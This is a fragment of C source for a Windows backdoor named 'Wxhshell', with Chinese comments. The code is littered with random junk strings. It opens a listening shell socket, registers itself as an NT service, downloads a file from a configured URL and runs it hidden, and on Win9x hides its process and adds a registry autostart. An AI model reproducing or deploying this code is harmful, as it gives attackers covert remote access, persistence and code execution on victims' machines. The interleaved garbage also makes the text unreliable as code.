$u 8IQtz2 HMODULE hMod; A7_4.VH char procName[255]; 9A'Y4Kg<C unsigned long cbNeeded; ?%tMohL 2B0W~x2= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /phX'xp -Apc$0ZsN CloseHandle(hProcess); }L=/A7Nk> N"tFP9;K if(strstr(procName,"services")) return 1; // 以服务启动 BR`ygrfe
df}r% i return 0; // 注册表启动 <W8t|jt } 4*n#yVb/ +n0r0:z0 // 主模块 p{A}pnjf int StartWxhshell(LPSTR lpCmdLine) '@|_OmcY { 1$/MrPT(b SOCKET wsl; &F
*'B|n BOOL val=TRUE; 82{ Vc int port=0; x&sI=5l struct sockaddr_in door; yOU(2"8p 2jJmE&)7, if(wscfg.ws_autoins) Install(); s9;#!7ms 6 gL=u-2 port=atoi(lpCmdLine); Rk<@?(l!6x E51dV:l if(port<=0) port=wscfg.ws_port; }_/Hdmmx q%n6K WSADATA data; gN8hJG'0 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $,=6[T!z+e SvM6iZ] if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S_MyoXV setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z}QwP~Z door.sin_family = AF_INET; !)"%),>}o door.sin_addr.s_addr = inet_addr("127.0.0.1"); RcG0 8p.) door.sin_port = htons(port); -H^oXeN mYN7kYR}<` if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <#=N
m0S$ closesocket(wsl); /@ !CKh` return 1; :o-,SrORM } E:sz$\Ht) {N2g8W: if(listen(wsl,2) == INVALID_SOCKET) { "I?Am&>' closesocket(wsl); GcIDG`RX return 1; \6n!3FLl } ZX!r1*c
6 Wxhshell(wsl); $n^MD_1! WSACleanup(); @bM2{Rh: &X@Bs- return 0; sIG7S"k>p Y?CCD4"qn } b5$JfjI [ylsz? // 以NT服务方式启动 nkxzk$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hgeg@RP
Q { O RGD DWORD status = 0; >z;[2n' DWORD specificError = 0xfffffff; AqKz$ fx=Awba serviceStatus.dwServiceType = SERVICE_WIN32; ,g-EW
jN serviceStatus.dwCurrentState = SERVICE_START_PENDING; rk+#GO{ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~7~~S*EQ serviceStatus.dwWin32ExitCode = 0; K8n4oz#z serviceStatus.dwServiceSpecificExitCode = 0; >EL)X
#e serviceStatus.dwCheckPoint = 0; hT$~ygQ serviceStatus.dwWaitHint = 0; qPB8O1fyU E J$36 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {,*"3O:\:
if (hServiceStatusHandle==0) return; XBd>tdEP [b%:.bjY status = GetLastError(); B\J^=W+` if (status!=NO_ERROR) 7^wc)E^H { T2}FYVj?!g serviceStatus.dwCurrentState = SERVICE_STOPPED; F(4?tX T serviceStatus.dwCheckPoint = 0; t*@2OW`! serviceStatus.dwWaitHint = 0; rg0ma serviceStatus.dwWin32ExitCode = status; swA+f serviceStatus.dwServiceSpecificExitCode = specificError; Hsih[f SetServiceStatus(hServiceStatusHandle, &serviceStatus); QK0h6CX return; D3|oOOoG } QM3,'?ekRH f|^dD` serviceStatus.dwCurrentState = SERVICE_RUNNING; 5MFxo63 serviceStatus.dwCheckPoint = 0; ,jXM3?>B serviceStatus.dwWaitHint = 0; O^/Maa/D1 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FMkOo2{ } >fH=DOz$& D:k3"
E"S // 处理NT服务事件,比如:启动、停止 `D9]*c
!mO VOID WINAPI NTServiceHandler(DWORD fdwControl) :4~g;2oag { ^TMJ8`e switch(fdwControl) `:P
{ [SJ6@q case SERVICE_CONTROL_STOP: R@Gq)P9? serviceStatus.dwWin32ExitCode = 0; &]
\X]p serviceStatus.dwCurrentState = SERVICE_STOPPED; u0P)7~% serviceStatus.dwCheckPoint = 0; .sQ=;w/ZA serviceStatus.dwWaitHint = 0; R[49(>7H4 { d,8mY/S>w SetServiceStatus(hServiceStatusHandle, &serviceStatus); MCU_Z[N#10 } *~m+Nc`D,N return; 8ElKD{.BU8 case SERVICE_CONTROL_PAUSE: Z%I serviceStatus.dwCurrentState = SERVICE_PAUSED; ;'81jbh break; f|y:vpd% case SERVICE_CONTROL_CONTINUE: z4&iK)x serviceStatus.dwCurrentState = SERVICE_RUNNING; i)#s.6.D> break; LL|7rS|o case SERVICE_CONTROL_INTERROGATE: ?Ma~^0 break; |_omr&[_ }; D;UV&.$'v SetServiceStatus(hServiceStatusHandle, &serviceStatus); dt~YW } ZeG_en ; ]skkoM // 标准应用程序主函数 ?"z]A7<Hj int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mxb06u_ { n}s~+USZX h3T9"w[ // 获取操作系统版本 9f\/\L OsIsNt=GetOsVer(); W8lx~:v GetModuleFileName(NULL,ExeFile,MAX_PATH); 5,)Qw LH:i| I // 从命令行安装 (`? y2n)~W if(strpbrk(lpCmdLine,"iI")) Install(); /y^7p9Z` F:6SPY
y // 下载执行文件 =]-j;#'& if(wscfg.ws_downexe) { 6a;v&5 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nFe%vu8a WinExec(wscfg.ws_filenam,SW_HIDE); Rb(SBa } >J|]moSVA a_h]?5
:c if(!OsIsNt) { [`]4P& // 如果时win9x,隐藏进程并且设置为注册表启动 $9S(_xdI& HideProc(); Y?ez9o:/# StartWxhshell(lpCmdLine); Rq[ M29 } Q,& |